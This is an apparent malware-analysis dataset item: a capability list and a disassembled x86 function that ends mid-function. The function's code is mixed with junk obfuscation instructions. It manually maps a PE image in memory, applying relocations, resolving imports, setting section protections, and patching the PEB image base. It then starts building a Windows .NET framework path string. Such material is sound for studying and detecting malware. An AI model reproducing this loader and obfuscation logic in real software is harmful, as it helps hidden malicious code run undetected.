Function at 0x408000
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Get process heap force flags
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
bswap edx
not ebx
and eax, 0x3f
bswap eax
dec eax
and edx, 0x1e
rol edi, 0x99
inc esi
and esi, 0xe
or edi, 0xa3
neg eax
ror esi, 0x3e
bswap edi
ror eax, 0x6b
rcr ebx, 0x79
neg esi
rcr edx, 0x2a
sub edi, 0x6f
and edx, 0xcc
add ebx, 0xbd
imul edx
ror eax, 0xd0
not edi
ror eax, 0x1d
inc edi
rcl eax, 0x89
add esi, 0xa5
or eax, 0x45
mov edi, 0xd1
neg eax
dec edx
sbb eax, 0x9a
add esi, 0xe3
rol edi, 0xd6
imul edx
rol eax, 0x94
rcr esi, 0x5c
mov edx, 0xa3
rcl edi, 0xa3
bswap edx
not eax
imul esi
bswap esi
dec edx
dec edi
dec eax
not ebx
add esi, 0xad
inc eax
rcl edi, 0xee
and edi, 0xb1
rcr esi, 0x25
sbb eax, 0x53
mov esi, 0x7e
ror edx, 0xc9
inc edx
sub edx, 0x6f
rol edi, 0xab
ror esi, 0x4a
rol eax, 0xa4
bswap edx
rcl edi, 0x3c
imul eax
or edi, 6
imul esi
dec edx
sbb esi, 0xb3
dec edi
add esi, 0x5f
rcr edi, 0xd6
or ebx, 0x1f
rcl edx, 0x1e
rcl ebx, 0xfd
add esi, 0xa9
rcl esi, 0x13
imul edi
mov edi, 0xba
or edx, 0xdb
add esi, 0x55
rcr edi, 0x22
neg eax
not edx
rol edi, 0xa4
rcr edi, 0x3b
rol edi, 0x30
dec esi
neg edx
rcl ebx, 0xd5
or esi, 0xfe
dec ebx
not edx
sbb ebx, 0x44
dec esi
rcl esi, 0x47
neg eax
and edx, 0x9c
ror edx, 0x3b
neg edx
or edx, 0xb
sbb edx, 0xc1
bswap ebx
neg ebx
sub ebx, 0x75
rol eax, 0x88
mov edx, 0x22
not edx
sbb esi, 0xae
sub ebx, 6
rcr esi, 0xa7
imul eax
neg edx
imul edx
sbb eax, 0xb4
bswap edi
inc eax
dec eax
not ebx
imul edi
ror eax, 0xd6
or eax, 0x8d
dec eax
imul ebx
or eax, 0xb
imul esi
neg ebx
not esi
sbb edi, 0x28
inc ebx
sub edx, 0x8d
ror edx, 0x7a
dec edx
not edi
neg edx
rcr edi, 2
ror edi, 0x2f
not esi
rcr edi, 0xeb
imul eax
dec edi
imul esi
rcr edi, 0xa7
bswap esi
or edx, 0x26
sbb edx, 0x99
sbb edx, 0x49
neg esi
inc eax
inc edx
sbb eax, 0xe9
rcr edx, 0xa1
neg esi
dec ebx
imul edx
inc ebx
rol edx, 0xe9
rcr esi, 5
bswap ebx
add ebx, 0x74
not edx
rcl esi, 0x9e
rcr ebx, 0x39
ror esi, 0xe2
imul eax
sub edi, 0x51
sub esi, 0x34
neg edi
inc edi
imul esi
or edi, 0xd
mov ebx, 0x3d
not ebx
not edi
dec esi
dec esi
inc eax
neg eax
inc eax
rol eax, 0x2b
sub edi, 0x30
bswap esi
dec ebx
ror eax, 0x58
mov esi, 0xa7
neg edx
imul esi
imul esi
neg edx
mov edx, 0x7e
sub esi, 4
dec edi
or ebx, 0xc4
rol ebx, 0x97
imul eax
bswap esi
dec eax
neg ebx
bswap edi
neg eax
rol eax, 0x37
bswap eax
push 0x84400
push 0x40d008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x40d008
or eax, 0x57
neg eax
bswap edx
dec edi
bswap esi
rcr ebx, 0xb1
and edi, 0x6a
imul edx
not edi
imul esi
rcl ebx, 0x64
neg edi
mov ebx, 0x31
add esi, 0xbf
rcr edx, 0x3f
imul esi
imul esi
sub ebx, 0x4c
bswap esi
bswap esi
and edx, 0xf5
dec ebx
rol edi, 0x6e
imul esi
sub esi, 0xcb
rol ebx, 0x5f
neg edi
dec ebx
not edi
sub edi, 3
rcr ebx, 0x9b
imul esi
not edx
neg edi
dec edx
or edx, 0x9e
dec eax
or ebx, 0x89
ror eax, 0x97
rcl eax, 0x62
inc edx
bswap ebx
dec edi
not edi
rcr eax, 0x8a
inc eax
rcl ebx, 0x93
not esi
bswap edx
dec edi
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0x4550
je 0x4082f9
mov eax, 1
jmp 0x4098c3
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0xa4]
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x40832c
mov dword [ebp - 0x110], 0
jmp 0x40833b
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x110], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0xb8], 0
jne 0x408383
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [eax + 0x34]
je 0x408383
mov eax, 2
jmp 0x4098c3
and edi, 0xe3
bswap eax
dec eax
rol esi, 0x2a
add ebx, 0x39
and esi, 0x1a
neg eax
imul ebx
inc edx
neg edx
add ebx, 0x55
inc eax
ror ebx, 0xef
add edx, 4
rol edx, 0xd5
rol edi, 0x9b
rcl edi, 0x7a
inc ebx
not esi
not eax
not ebx
sub edi, 0x67
dec edi
rcl edx, 0xa8
add edi, 0
and edi, 0x23
inc edx
not eax
sub edi, 0xb8
imul edi
not edx
sub edi, 0x42
bswap eax
dec esi
not eax
rcr esi, 0x26
inc edx
imul ebx
bswap edx
dec ebx
bswap edx
ror edi, 0xb3
and edi, 0x9c
inc edi
bswap edi
dec ebx
sub ebx, 0xcb
dec ebx
dec esi
ror esi, 0xc5
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00401240
add esp, 0xc
sub eax, 0xf9
sbb esi, 0x9f
rcr ebx, 0x2c
neg esi
rol ebx, 0x6b
or edi, 0xf6
neg eax
sub edi, 0x98
bswap ebx
bswap edx
or edi, 0x7b
inc edx
add edi, 0x4c
or eax, 0x3e
rcl edx, 0x2d
rol eax, 0x22
sub edi, 0xcc
neg edx
and eax, 0x39
rcl esi, 0xd2
neg edi
not edx
bswap eax
rcr edx, 0x84
inc eax
add edx, 0x9f
imul edx
rol edi, 0x9c
and esi, 0xf3
not eax
inc ebx
bswap edi
bswap esi
sub edx, 0x13
inc edx
not eax
imul ebx
and eax, 0xb3
rcr edi, 0xf
rcr edx, 0x3e
not ebx
neg eax
rcr esi, 0x9c
and esi, 0x95
add ebx, 0x77
dec edi
dec esi
dec edi
inc ebx
imul edi
rol edx, 0x75
sub edx, 0xa1
sbb esi, 0xc6
neg ebx
dec esi
imul eax
and edi, 0x13
add esi, 0xb1
not ebx
and esi, 2
and eax, 0xe6
or ebx, 0xf8
not edi
not eax
imul ebx
bswap edx
rol edi, 0xe4
rcr ebx, 3
add edi, 0x3a
mov eax, 1
or edi, 0x1a
not eax
not edx
ror edx, 0xb2
rol edi, 0x7c
not esi
inc edi
not edi
rcr edx, 0x9c
rol edi, 0x19
dec ebx
not edx
rcl edx, 0xd8
imul edi
and eax, 0x55
inc edi
neg edx
bswap ebx
mov edi, 0x82
inc edx
or eax, 0x1b
imul edx
not eax
sub edx, 0xb0
ror eax, 0xe8
bswap ebx
ror edi, 0x34
ror edi, 0x25
bswap ebx
rcr edi, 0x43
rcr edx, 0x56
dec esi
bswap ebx
inc edx
sub edx, 0xea
mov edi, 0x83
rcr esi, 0xeb
or esi, 8
rcl edx, 0x19
inc edx
and ebx, 0x28
not eax
and eax, 0x23
not eax
neg edi
rcr edx, 0xec
inc edi
neg eax
ror esi, 0x2a
bswap esi
imul ebx
imul esi
imul edx
inc edx
dec edx
bswap ebx
not ebx
not edx
and edi, 0xd0
dec edx
add ebx, 0x4a
inc eax
ror edi, 0xee
neg edx
not esi
not ebx
or esi, 0x68
mov eax, 0x62
and edx, 0x63
rol ebx, 0xbb
neg esi
or eax, 0x18
rol eax, 0x45
neg ebx
mov esi, 0x93
mov edx, 0xdf
add eax, 0x13
dec edi
not ebx
inc edx
neg edx
and esi, 0x79
neg edi
rcl esi, 0x13
rcr eax, 0xe1
not eax
ror edx, 0xa3
inc eax
dec eax
sbb edx, 0x50
neg ebx
sbb esi, 0xa4
rol edi, 0x94
mov edx, 0x69
ror edi, 0x2c
dec ebx
mov esi, 0x42
sbb edx, 0x2c
bswap esi
and edx, 0x78
rcr eax, 0x36
not edx
sub eax, 0xc1
not edi
neg esi
inc ebx
neg eax
neg esi
rcl esi, 0xc2
rcr esi, 0x39
bswap eax
rcl esi, 0x76
inc ebx
rcl edx, 0x9d
bswap esi
ror ebx, 0x58
imul edi
rcl esi, 0x11
not ebx
not eax
inc eax
inc edi
not eax
imul edi
bswap edi
rcr edx, 0x68
or esi, 0x45
bswap edx
neg edi
bswap ebx
ror edx, 0xd5
sbb edx, 0xe1
neg ebx
neg esi
neg edx
or edi, 0x12
sub esi, 0x7d
ror ebx, 0xd
mov edx, 0xe2
sbb edi, 0x92
neg esi
sub ebx, 0xfa
mov edx, 0xa3
sbb edi, 0xc4
ror ebx, 0x4f
inc esi
neg eax
rol edx, 0x2a
sub edx, 0xf2
and edi, 0xc9
bswap edi
dec esi
and eax, 0xb2
rol edi, 0x2d
rcr edi, 0x7d
and eax, 0xe1
rol ebx, 0xd2
neg ebx
not edi
neg edi
or eax, 0x69
sbb esi, 0x54
rcl eax, 0xc6
sub eax, 3
rol eax, 0x1e
sub eax, 0x75
sub eax, 0xf5
or esi, 0x4c
rol ebx, 0x7f
dec edi
and esi, 0xe2
bswap esi
imul ebx
inc eax
neg edi
neg eax
not edx
sbb eax, 0x77
rol edi, 0xd0
and edi, 0x38
mov ecx, dword [ebp - 0x90]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xc8], 0
jmp 0x4086fd
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x90]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0xc8], ecx
jge 0x40875e
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401240
add esp, 0xc
jmp 0x4086ee
rol esi, 0x58
bswap edx
mov edx, 0x96
inc edx
rol edx, 0x6b
neg ebx
rcl esi, 0x32
neg edx
rcl ebx, 6
bswap ebx
ror edx, 0x5d
rcr esi, 0x28
not eax
not edx
dec eax
not eax
imul ebx
inc eax
neg eax
not esi
not esi
imul esi
neg eax
not edi
add eax, 0xb4
rcr edx, 0xbe
inc edi
imul edx
neg esi
ror esi, 0x9a
rcl edi, 0x58
bswap ebx
sub eax, 0x9a
sub esi, 0xea
bswap edi
bswap edx
bswap esi
ror edx, 0xac
mov esi, 0x43
sbb ebx, 0xd4
add ebx, 0x55
ror edi, 0x29
imul eax
ror edi, 0xd2
imul ebx
rcr ebx, 0x56
mov ebx, 0xb4
inc eax
sub edx, 0x82
rol esi, 0xf5
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
cmp eax, dword [edx + 0x34]
je 0x40891c
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xb8]
jae 0x40891c
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xcc]
add eax, 8
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe4], 0
jmp 0x408891
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xdc]
jge 0x4088f6
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x4088e5
mov edx, dword [ebp - 0xe0]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0xe0]
add ecx, 2
mov dword [ebp - 0xe0], ecx
jmp 0x408882
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
add eax, dword [edx + 4]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xcc], ecx
jmp 0x40882d
rol edi, 0xf8
not eax
neg edi
not eax
not edx
inc eax
sub eax, 0xc4
mov ebx, 0xe0
rcl ebx, 0x24
ror ebx, 0x24
and esi, 0xbf
neg esi
imul eax
bswap ebx
mov eax, 0xc3
not eax
inc edx
imul edi
bswap edx
dec edi
neg eax
not edx
ror esi, 0x50
or edi, 0xc
imul ebx
dec eax
sub esi, 0x5a
rcl edx, 0x3d
and esi, 0x26
bswap edx
mov edx, 4
inc edx
dec esi
rol ebx, 0x75
sbb esi, 0x4b
bswap esi
neg edx
not edi
neg eax
bswap edi
sbb eax, 0x15
bswap esi
sub ebx, 0x9a
neg ebx
sbb eax, 0x24
neg esi
rol esi, 0xbe
ror esi, 0xf1
neg esi
neg ebx
not eax
imul eax
bswap esi
sub edi, 0x43
neg esi
neg eax
neg ebx
neg edi
neg esi
dec edx
rcr ebx, 0x4f
rcl ebx, 0x60
neg esi
not esi
and eax, 0x35
sbb edi, 0x25
and edx, 0xc4
dec edi
sub esi, 0x4a
sub eax, 5
add ebx, 0xcc
mov ebx, 0xd6
dec edi
ror edx, 2
rcl eax, 0x57
bswap edx
not edx
and edx, 0x26
rol edi, 0x89
rol eax, 0x9a
sbb ebx, 0xb
dec eax
ror edx, 0xc9
inc eax
imul edx
dec esi
or edx, 0x9e
mov eax, 0xd3
rcl ebx, 0xbd
ror edi, 0xc5
mov edi, 0x9c
ror esi, 0xd9
rcr esi, 0x43
imul edi
neg ebx
bswap ebx
bswap ebx
bswap edx
and edi, 0x30
dec edx
bswap eax
not eax
mov edx, 0xff
sbb edi, 0x91
and ebx, 0x7e
or eax, 0x8f
rol eax, 0xa2
bswap ebx
add eax, 0xbe
and esi, 0x26
bswap esi
inc esi
sub eax, 0x76
or ebx, 0xc1
and ebx, 0x54
inc edi
dec edx
neg ebx
add edi, 0xd1
ror edx, 0x94
rcl edi, 0x82
imul ebx
sub ebx, 0xaa
inc eax
add edx, 0x16
rcl ebx, 8
ror eax, 0xaf
not esi
neg edi
rcr edi, 0x55
bswap eax
inc esi
rcl esi, 0x5d
or esi, 0x36
sbb eax, 0xc8
not edx
neg ebx
and edi, 0xa9
not edi
dec eax
rcl edx, 0x5c
sub eax, 0xf
rcl ebx, 0x7d
sub edx, 0x57
ror ebx, 0xe4
bswap esi
ror edx, 0xe8
add edi, 2
bswap eax
add esi, 0x6b
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xe8], 0
jmp 0x408ae7
mov ecx, dword [ebp - 0xe8]
add ecx, 1
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
cmp dword [eax + edx + 0x10], 0
je 0x408c25
mov ecx, dword [ebp - 0xe8]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jne 0x408b3e
jmp 0x408ad8
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xf8], 0
jmp 0x408b78
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
cmp dword [ecx + eax*4], 0
je 0x408c20
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x408bf3
mov eax, dword [ebp - 0x100]
add eax, 2
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
mov dword [ecx + edx*4], eax
jmp 0x408b69
jmp 0x408ad8
mov dword [ebp - 0x104], 0
jmp 0x408c40
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x90]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x104], eax
jge 0x408d5e
mov dword [ebp - 0x108], 0x40
mov ecx, dword [ebp - 0x104]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x9c]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408cae
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408cae
mov eax, dword [ebp - 0x10c]
and eax, 0x20000000
je 0x408cae
mov dword [ebp - 0x108], 0x40
jmp 0x408d15
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408cd6
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408cd6
mov dword [ebp - 0x108], 4
jmp 0x408d15
mov eax, dword [ebp - 0x10c]
and eax, 0x40000000
je 0x408cfd
mov ecx, dword [ebp - 0x10c]
and ecx, 0x20000000
je 0x408cfd
mov dword [ebp - 0x108], 0x20
jmp 0x408d15
mov edx, dword [ebp - 0x10c]
and edx, 0x40000000
je 0x408d15
mov dword [ebp - 0x108], 2
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401260
add esp, 0x10
jmp 0x408c31
ror ebx, 0x28
inc eax
inc ebx
bswap eax
and ebx, 0x67
sbb esi, 0xf9
add eax, 0x38
rol eax, 0xf0
rcr esi, 0x81
and ebx, 0x7c
ror ebx, 0xf5
neg esi
ror eax, 0x4a
bswap edi
imul eax
rcr eax, 0xdd
sub edx, 0xda
imul edx
rcl ebx, 0xa3
inc ebx
not ebx
sbb edx, 0x16
sbb eax, 0xe2
not eax
sbb edx, 0
inc esi
and ebx, 0x96
not edx
inc esi
imul esi
and edi, 0x10
imul esi
mov esi, 0x20
ror esi, 0x50
bswap ebx
sub eax, 0xff
mov edx, 0xfa
rcr esi, 0xe3
mov edx, 0xb
bswap edx
sub ebx, 0x11
rcr ebx, 0xd3
rol esi, 0xe4
ror edx, 0xb0
inc esi
inc ebx
not edi
neg ebx
bswap edi
not eax
imul edi
rcl edx, 0x18
sbb eax, 0xe1
dec edx
ror esi, 0xd4
dec edx
rcr edx, 0x33
sbb eax, 0x19
dec edi
sbb eax, 0x2b
sub eax, 0x49
and edx, 0xe3
imul eax
and edx, 0x61
neg esi
rcr ebx, 0xeb
add esi, 0xe2
neg eax
bswap ebx
rol edi, 0x4f
sbb ebx, 0x70
inc ebx
imul edx
ror ebx, 1
rcl edx, 0xe9
ror esi, 0x3a
rcl eax, 0x3d
sub ebx, 0x69
imul ebx
sbb edx, 0x74
not edi
dec edx
inc edx
imul eax
neg ebx
not eax
inc edx
dec esi
add eax, 0x88
bswap esi
bswap edx
add edx, 0xfe
mov eax, 0x31
sub esi, 0x63
dec edx
add ebx, 0xd1
neg edx
inc esi
inc ebx
inc esi
dec esi
and edi, 0xf4
dec esi
rcl eax, 0xc0
bswap eax
rol edx, 0xe6
sub edi, 0x8f
rcl edx, 0x9a
sub eax, 0x10
dec esi
imul edi
rol edx, 0xa8
imul ebx
neg ebx
not ebx
mov edi, 0xf1
not edx
rol edi, 0xf7
ror esi, 0xd3
rol esi, 0xda
add eax, 0xfe
inc edx
inc ebx
mov esi, 0x90
dec edi
and esi, 0x1e
dec edx
add esi, 0x32
inc edi
inc edi
sub edx, 0xe7
dec edx
sbb eax, 0x89
bswap edi
or esi, 0x9f
rcl ebx, 0xc3
bswap esi
rcl edi, 0xde
neg eax
dec eax
neg esi
dec esi
rcr edi, 0xc6
or edi, 4
sbb esi, 2
neg esi
dec ebx
neg edx
not ebx
inc edi
mov edx, dword fs:[0x30]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0x98], eax
rcl eax, 0xb0
or ebx, 0x65
bswap eax
inc ebx
mov eax, 0x56
not esi
and eax, 0xff
neg ebx
mov edx, 0x68
not edi
bswap ebx
neg ebx
neg edx
bswap esi
ror ebx, 0x5d
neg esi
dec edi
sbb eax, 0x67
bswap esi
dec ebx
sbb edx, 0x5c
add ebx, 0x8d
sub edi, 0x92
inc ebx
sub edx, 0x3c
imul esi
rol eax, 0x63
mov edi, 0xb8
rcr edi, 0xc5
sbb eax, 0xb
sbb edx, 0xd4
dec ebx
sub edi, 0xd
ror eax, 0x8c
rol edi, 0xcd
sbb eax, 0x60
or esi, 0xa8
rol esi, 0x52
rcr esi, 0xd6
ror edi, 0xdb
sbb edx, 3
inc esi
sbb edx, 0x9b
rol edx, 0xca
mov edx, 0xa5
inc edx
sbb esi, 0xb5
add edi, 0xd4
imul ebx
neg ebx
mov eax, 0xd3
rcr ebx, 0xbd
sub edi, 8
imul esi
not edi
neg edx
or esi, 0x81
and edx, 0x89
dec eax
imul edx
bswap edi
add ebx, 0x15
imul edi
bswap ebx
inc edi
sbb ebx, 0x3e
ror ebx, 0xfc
rcl ebx, 0x92
bswap edi
not ebx
rol edx, 0x93
rcl eax, 0xb9
sub esi, 0x35
imul eax
not edi
ror edi, 0x78
add eax, 0x8d
neg edi
bswap ebx
rol esi, 0x2d
not edi
imul ebx
rcl edi, 0xbc
ror edx, 0x73
rcl ebx, 0xd4
dec edi
add edi, 0x61
bswap ebx
sub edx, 0xde
or edx, 0x20
imul edi
inc eax
bswap edx
rcl ebx, 0x1c
not edx
and eax, 0xbd
not edi
add edi, 0x45
mov esi, 0x9f
sbb ebx, 3
mov esi, 0xc3
and eax, 0x12
ror eax, 0xf3
imul esi
imul edi
not edx
ror eax, 0xf0
inc edi
rcr eax, 0x37
neg ebx
bswap esi
bswap ebx
not edx
ror eax, 0xd8
not ebx
rcl eax, 0x6a
dec edx
rcl edi, 0x96
sub edx, 0x7c
neg ebx
imul edx
not ebx
dec edi
not edi
rol ebx, 0xe7
or edi, 3
sub eax, 0x77
rcr edx, 0x11
imul edi
add edx, 0xa9
or ebx, 0xe0
inc edi
mov edi, 0xcf
sbb eax, 0x36
ror ebx, 0x68
ror edx, 0x96
rcr ebx, 0xd2
add edx, 0x8d
sub edi, 0xac
sub edi, 0x17
mov esi, 0xcc
sub edx, 0xfa
add edx, 0x13
sbb edx, 0x43
dec esi
dec esi
and esi, 0x84
and ebx, 0x2e
imul eax
mov esi, 0xa3
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x8c]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x8c]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0x98]
add edx, 0x24
mov dword [ebp - 0xa4], edx
or edi, 0xa2
and edi, 0x5d
bswap edi
rol eax, 0xc9
and edx, 0x54
imul esi
or edx, 0xe1
neg ebx
mov ebx, 0x7b
imul edi
bswap edi
inc eax
mov edi, 0xce
bswap esi
bswap esi
imul ebx
neg edi
bswap eax
not edi
imul esi
imul edx
not eax
rcr ebx, 0xdc
rol eax, 4
dec eax
imul eax
rcl edi, 0x80
mov edi, 0x88
inc esi
sbb edx, 0x76
imul ebx
rcl edx, 0x77
neg edi
imul edx
mov ebx, 2
imul edx
not eax
bswap edx
rol ebx, 0xb2
sub edi, 0xb3
rcl edi, 0x44
sub ebx, 0x89
sub eax, 0xa2
dec esi
neg edi
rol ebx, 0xf0
neg edi
neg edx
not eax
add ebx, 0xef
inc eax
or edx, 8
mov ebx, 0xd4
ror eax, 0x5f
or esi, 0x6a
bswap eax
inc eax
rcl edi, 0x49
sub ebx, 0x66
mov eax, 0xc8
and edi, 0x35
bswap edx
not esi
add ebx, 0x82
rcl eax, 0xad
bswap eax
add ebx, 0xa1
add esi, 0x60
imul esi
neg edx
rol esi, 0xce
inc edx
dec edx
inc edi
dec edx
imul esi
dec edi
imul ebx
add eax, 0x4c
neg ebx
add edx, 0xba
neg eax
not edx
mov ebx, 0x57
rcl edi, 0xc1
dec eax
rcr esi, 0x8e
sbb eax, 0x7e
rol eax, 0x37
inc ebx
rcr eax, 0xfe
sbb edx, 0x36
bswap eax
not esi
add esi, 0xe0
add edx, 0xf8
not esi
inc esi
not esi
inc edx
rol ebx, 0x8b
ror ebx, 0x8b
and esi, 0xd8
inc eax
mov eax, 0x96
sub eax, 0x5a
bswap edx
inc edx
sbb edi, 0x6b
inc edi
neg ebx
sub eax, 7
or ebx, 0x77
inc edi
not esi
rol eax, 0xd2
add edi, 0x3a
imul esi
imul edx
and ebx, 0xec
neg edx
and esi, 0xed
mov esi, 0xac
sbb eax, 0x6c
bswap ebx
imul edi
ror eax, 0x9e
add ebx, 0x29
not esi
mov eax, 0xab
imul edx
and edi, 0xbf
not edi
rcl edi, 0xfa
rcl esi, 0x2e
neg edi
mov edi, 0xa
bswap edx
sbb edx, 0xb4
neg esi
sbb eax, 0x93
rcr ebx, 0x26
neg ebx
neg edx
bswap ebx
sub ebx, 0x65
bswap ebx
sub eax, 0x60
imul edx
not edi
mov eax, 0x43
mov word [ebp - 0x88], ax
mov ecx, 0x3a
mov word [ebp - 0x86], cx
mov edx, 0x5c
mov word [ebp - 0x84], dx
mov eax, 0x5c
mov word [ebp - 0x82], ax
mov ecx, 0x57
mov word [ebp - 0x80], cx
mov edx, 0x69
mov word [ebp - 0x7e], dx
mov eax, 0x6e
mov word [ebp - 0x7c], ax
mov ecx, 0x64
mov word [ebp - 0x7a], cx
mov edx, 0x6f
mov word [ebp - 0x78], dx
mov eax, 0x77
mov word [ebp - 0x76], ax
mov ecx, 0x73
mov word [ebp - 0x74], cx
mov edx, 0x5c
mov word [ebp - 0x72], dx
mov eax, 0x4d
mov word [ebp - 0x70], ax
mov ecx, 0x69
mov word [ebp - 0x6e], cx
mov edx, 0x63
mov word [ebp - 0x6c], dx
mov eax, 0x72
mov word [ebp - 0x6a], ax
mov ecx, 0x6f
mov word [ebp - 0x68], cx
mov edx, 0x73
mov word [ebp - 0x66], dx
mov eax, 0x6f
mov word [ebp - 0x64], ax
mov ecx, 0x66
mov word [ebp - 0x62], cx
mov edx, 0x74
mov word [ebp - 0x60], dx
mov eax, 0x2e
mov word [ebp - 0x5e], ax
mov ecx, 0x4e
mov word [ebp - 0x5c], cx
mov edx, 0x45
mov word [ebp - 0x5a], dx
mov eax, 0x54
mov word [ebp - 0x58], ax
mov ecx, 0x5c
mov word [ebp - 0x56], cx
mov edx, 0x46
mov word [ebp - 0x54], dx
mov eax, 0x72
